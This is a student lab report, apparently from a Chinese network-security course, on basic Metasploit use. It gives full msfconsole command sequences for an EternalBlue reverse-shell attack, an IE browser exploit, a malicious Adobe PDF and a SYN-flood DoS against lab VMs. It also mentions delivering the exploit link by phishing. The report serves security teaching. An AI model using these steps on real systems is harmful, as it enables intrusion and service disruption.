2020-2021-2 网络对抗技术 20181321 Exp6 MSF基础应用
2020-2021-2 网络对抗技术 20181321 Exp6 MSF基础应用
1.实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
查看六种模块源码目录/usr/share/metasploit-framework/modules
- 渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode"背"过去 - 辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提 - 攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules
- 编码模块
Encoders
- 后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行
- MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息show [options]
- 查看攻击目标类型show [target]
- 查找命令search
- 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器service postgresql start
- 启动armitagearmitage
- webgui
2.实践内容概述
- 一个主动攻击实践,如ms08_067;
- 一个针对浏览器的攻击,如ms11_050;
- 一个针对客户端的攻击,如Adobe;
- 成功应用任何一个辅助模块。
3.基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
- exploit,是载具,利用系统、程序的漏洞将payload传送到靶机中。
- payload是载荷,在靶机运行的一段代码,可以进行反弹连接、执行命令的功能。
- encode是编码,对payload进行编码,然其不被发现,达到免杀效果,获得更好的攻击效果。
4.攻击实例
主动攻击的实践
ms17_010
-
靶机:Microsoft Windows 7(10.1.1.137)
-
payload :
windows/x64/shell/reverse_tcp_uuid
实验步骤
- nmap --script=vuln 192.168.248.130 //查看靶机开放端口
-
msfconsole //启动MSF
-
search ms17_010 //搜索漏洞
-
use -- exploit/windows/smb/ms17_010_eternalblue //使用漏洞
-
show payloads //显示可用攻击载荷
-
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
-
set LHOST 10.1.1.128 //设置监听地址
-
set LPORT 5318 //设置端口号
-
set RHOSTS 10.1.1.137 //设置靶机地址
-
show options //查看配置信息
-
exploit //开始攻击
-
进行攻击,最后成功得到windows7的控制权
攻击浏览器的实践
ms14_064
靶机:Windows xp + IE8
exploit : use exploit/windows/browser/ms14_064_ole_code_execution
payload : set payload windows/meterpreter/reverse_tcp
实验步骤:
-
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
-
info //查看漏洞相关信息(发现可攻击winXP和win7)
-
show payloads //显示可用攻击载荷
-
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
-
set SRVHOST 192.168.248.128 //设置攻方IP
-
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
-
set LHOST 192.168.248.128
-
set LPORT 5318
-
set target 0 //设置winXP靶机
-
exploit //发起攻击
-
生成一个url链接,用钓鱼方法或者是社会工程学传到Win7主机里,就可以实现控制。
-
输入
sessions
查看会话相关信息,输入sessions -i 1
即可选择第一个会话,调用shell权限成功。
攻击客户端的实践
Adobe
靶机:Windows XP
payload : windows/meterpreter/bind_tcp
实验步骤:
-
msfconsole //进入控制台
-
search adobe //进行查找
-
use windows/fileformat/adobe_cooltype_sing //使用漏洞
-
info //查看漏洞具体信息(重点当然是description)
-
set payload windows/meterpreter/bind_tcp //选择攻击载荷
-
show options //查看详细信息
-
set LPORT 1321 //设置端口号
-
set RHOST 192.168.248.129 //设置靶机IP地址
-
exploit #攻击
-
将生成的msf.pdf复制到windows XP中
-
进入msfconsole进行监听
-
use exploit/multi/handler //进入监听模块
-
set payload windows/meterpreter/bind_tcp //选择攻击载荷
-
show options //查看详细信息
-
set RHOST 192.168.248.129 //设置靶机IP地址
-
set LPORT 1321 //设置端口号
-
exploit //攻击
-
在xp打开msf.pdf
-
进攻成功
成功应用一个辅助模块
靶机:window7
payload : dos/tcp/synflood
实验步骤:
-
msfconsole //进入控制台
-
search synflood //进行查找
-
use auxiliary/dos/tcp/synflood //使用synflood模块
-
show options //查看模块信息
-
set RHOSTS 192.168.248.131 //靶机ip
-
set NUM 300 //设置发送数量
-
exploit //攻击
-
在windows7通过wireshark查看端口信息
-
通过上面的信息可以看出,发出包的地址不是我的kali主机,所以我进行多次攻击,发现每一次攻击使用的IP的地址都不一样,可能是kali在向外发出攻击时,把我的Kali的IP地址进行了公网化,所以看不到是我kali本机的IP地址发出了洪水攻击,但是通过端口80还是可以判断出来的。
附加题-Weblogic漏洞复现:CVE-2020-14882未授权代码执行 :
5.离实战还缺些什么技术或步骤?
- 首先这个实验只是利用了msf这个工具来进行漏洞,都是针对某一个漏洞,然后通过上网查资料来进行漏洞攻击,而且对于漏洞的了解只单纯地限制于实验的漏洞,对于其他漏洞,如果没有教程的话,可能只是知道这个漏洞,但怎么运用还是不行,缺乏对漏洞的解析以及深入了解。
- 而且漏洞都是使用msf进行攻击,对于msf里面的漏洞,虽然感觉操作步骤应该都差不多,但是对于模块的理解可能就拿几个,其他的可能就不那么了解了。
6.实验感想
- 总体上,这次实验来说,难度不是很大,大部分时间都用在靶机和客户端上安装上了,因为系统版本的不同,漏洞修复了,你尝试后,发现不行,攻击不成,那就得换靶机,或者找一个新的漏洞,对于客户端攻击也是如此。所以实验对于操作系统和软件版本的要求比较严格,有时候还看点运气,否则得进攻几次,才成功。
- 虽然这次实验都是msf基础应用,但是能够攻击成功自己比较low的靶机,还是比较有成就感的。而且实验的附加题,要使用一个比较新的漏洞,这个做出来就成就满满,我做的是Weblogic漏洞复现,可以意识到原来只要一不小心,自己的电脑或者软件还是可以被别人进攻,从而盗取文件,修改你的文件配置。